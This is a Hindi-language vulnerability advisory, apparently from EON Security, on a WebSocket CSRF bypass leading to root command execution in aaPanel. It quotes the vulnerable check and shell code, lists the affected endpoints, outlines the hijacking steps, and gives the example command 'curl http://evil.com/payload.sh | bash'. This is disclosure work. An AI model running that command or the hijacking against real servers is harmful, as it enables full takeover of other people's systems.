
aaPanel WebSocket CSRF बायपास जो RCE की ओर ले जाता है (CVE-2021-37840 के लिए अपूर्ण फिक्स)
CVE-2021-37840 का अधूरा सुधार अभी भी 5 साल बाद 3.6M सर्वरों को रूट RCE के लिए उजागर करता है
खोजकर्ता: EON Security
CVE: असाइनमेंट लंबित
CVSS: 8.8 (उच्च) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
प्रभावित: aaPanel संस्करण 6.8.12 से 7.65.0 (2021 के सुधार के बाद से हर संस्करण)
स्थापित आधार: 3.6M+ सर्वर
2021 में, aaPanel में एक क्रॉस-साइट WebSocket हाइजैकिंग भेद्यता (CVE-2021-37840) का खुलासा हुआ था, जो 3.6M+ सर्वरों पर चलने वाला एक मुफ्त होस्टिंग नियंत्रण पैनल है। विक्रेता ने इसे "ठीक" करने के लिए एक CSRF टोकन जांच जोड़ा।
सुधार स्थापत्य रूप से गलत था।
अनधिकृत WebSocket कनेक्शनों को HTTP स्तर पर अस्वीकार करने (401 लौटाने) के बजाय, सुधार प्रत्येक कनेक्शन को अनुमति देता है (101 Switching Protocols लौटाता है) और केवल हैंडलर के अंदर प्रमाणीकरण की जांच करता है — WebSocket स्थापित होने के बाद। उन्होंने जो CSRF जांच जोड़ा, उसे कई तरीकों से बायपास किया जा सकता है।
EON Security ने पाया कि 5 साल बाद, हर aaPanel संस्करण अभी भी उसी हमले वर्ग के लिए असुरक्षित है।
यह aaPanel के 6+ साल के इतिहास में केवल 10वां CVE है।
यदि आप aaPanel चलाते हैं, तो एक हमलावर आपके साथ ऐसा कर सकता है:
परिदृश्य 1: कोई व्यवस्थापक एक बुरा लिंक क्लिक करता है
curl http://evil.com/payload.sh | bash भेजता है — वह कमांड आपके सर्वर पर रूट के रूप में चलता हैकेवल एक क्लिक चाहिए। एक गलत क्लिक और हमलावर सब कुछ का मालिक बन जाता है।
परिदृश्य 2: एक API कुंजी लीक होती है
यह बड़ी समस्या है। CSRF सुरक्षा API-प्रमाणित अनुरोधों पर बिल्कुल लागू नहीं होती। इसे ब्राउज़र-आधारित कनेक्शनों की जांच के लिए डिज़ाइन किया गया था, लेकिन API पहुँच के लिए कोड पथ इसे पूरी तरह से बायपास करता है।
किसी भी तरह, 3.6 मिलियन सर्वर प्रभावित हैं। 2021 के बाद से हर संस्करण।
g.api_request=True (API-प्रमाणित अनुरोध) और g.is_aes=True (AES-एन्क्रिप्टेड अनुरोध) जांच को पूरी तरह से छोड़ देते हैं/sock_shell एंडपॉइंट मनमाना कमांड निष्पादित करता है — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh एंडपॉइंट हमलावर द्वारा आपूर्ति किए गए SSH क्रेडेंशियल स्वीकार करता है — किसी भी SSH होस्ट से कनेक्ट करेंसभी WebSocket एंडपॉइंट किसी भी प्रमाणीकरण जांच से पहले HTTP 101 Switching Protocols लौटाते हैं। comm.local() प्रमाणीकरण जांच हैंडलर के अंदर, WebSocket अपग्रेड पूरा होने के बाद चलती है:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← प्रमाणीकरण जांच 101 के बाद होती है
if comReturn:
ws.send(str(comReturn))
return
प्रभावित एंडपॉइंट:
/webssh (SSH टर्मिनल प्रॉक्सी)/sock_shell (प्रत्यक्ष कमांड निष्पादन)/ws_panel (पैनल प्रबंधन)/ws_home (डैशबोर्ड)/ws_project (परियोजना प्रबंधन)/ws_model (मॉडल प्रबंधन)/workorder_client (टिकट सिस्टम)/v2/* उपरोक्त सभी के वेरिएंटcheck_csrf_websocket() फ़ंक्शन क्रॉस-साइट WebSocket हाइजैकिंग को रोकने के लिए डिज़ाइन किया गया है:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← बायपास: AES मोड जांच छोड़ता है
if g.api_request: return True # ← बायपास: API अनुरोध जांच छोड़ते हैं
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
दो हार्ड बायपास शर्तें मौजूद हैं:
g.api_request: जब True (API कुंजी प्रमाणीकरण के दौरान सेट), CSRF जांच पूरी तरह से छोड़ दी जाती है। कोई भी API-प्रमाणित WebSocket सत्र इस सुरक्षा को बायपास करता है।g.is_aes: जब True (AES-एन्क्रिप्टेड API अनुरोधों के दौरान सेट), CSRF जांच भी छोड़ दी जाती है।टोकन तुलना (get_csrf_sess_html_token_value()) session.get('request_token_head', "") लौटाती है। उन सत्रों में जहाँ यह मान अभी तक प्रारंभ नहीं हुआ है, एक खाली x-http-token जांच पास करता है।
/sock_shell एंडपॉइंट हमलावर द्वारा आपूर्ति किए गए स्ट्रिंग को सीधे subprocess.Popen को shell=True के साथ पास करता है:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← मनमाना कमांड निष्पादन
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
WebSocket पर प्राप्त प्रत्येक संदेश को शेल कमांड के रूप में निष्पादित किया जाता है। आउटपुट WebSocket के माध्यम से वापस स्ट्रीम किया जाता है। चूँकि aaPanel रूट के रूप में चलता है, यह पूर्ण सिस्टम समझौता है।
/webssh एंडपॉइंट पहले WebSocket संदेश से हमलावर द्वारा आपूर्ति किए गए SSH कनेक्शन पैरामीटर स्वीकार करता है:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
यदि होस्ट 127.0.0.1 या localhost है, तो हैंडलर सहेजे गए क्रेडेंशियल के लिए डेटाबेस की जाँच करता है, या हमलावर द्वारा आपूर्ति किए गए का उपयोग करता है।
प्राथमिक शोषण पथ CSWSH (क्रॉस-साइट WebSocket हाइजैकिंग) है जिसमें उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है:
wss://victim-panel:8888/sock_shell के लिए एक WebSocket खोलता हैcomm.local() प्रमाणीकरण पास करता है (मान्य सत्र कुकी){"x-http-token": ""} भेजता है या API/AES बायपास पथों का शोषण करता हैAPI कुंजी समझौते के माध्यम से वैकल्पिक पथ:
g.api_request = True सेट करते हैं| एंडपॉइंट | कार्य | प्रभाव |
|---|---|---|
/webssh | SSH टर्मिनल प्रॉक्सी | हमलावर क्रेडेंशियल के साथ मनमाना SSH होस्ट से कनेक्ट करें |
/sock_shell | प्रत्यक्ष कमांड निष्पादन | शेल कमांड के माध्यम से रूट के रूप में RCE |
/ws_panel | पैनल प्रबंधन | पैनल डेटा पहुँच |
/ws_home | डैशबोर्ड | डैशबोर्ड डेटा पहुँच |
/ws_project | परियोजना प्रबंधन | परियोजना डेटा पहुँच |
/ws_model | मॉडल प्रबंधन | मॉडल डेटा पहुँच |
/workorder_client | टिकट सिस्टम | टिकट डेटा पहुँच |
/v2/* | सभी v2 वेरिएंट | ऊपर जैसा ही |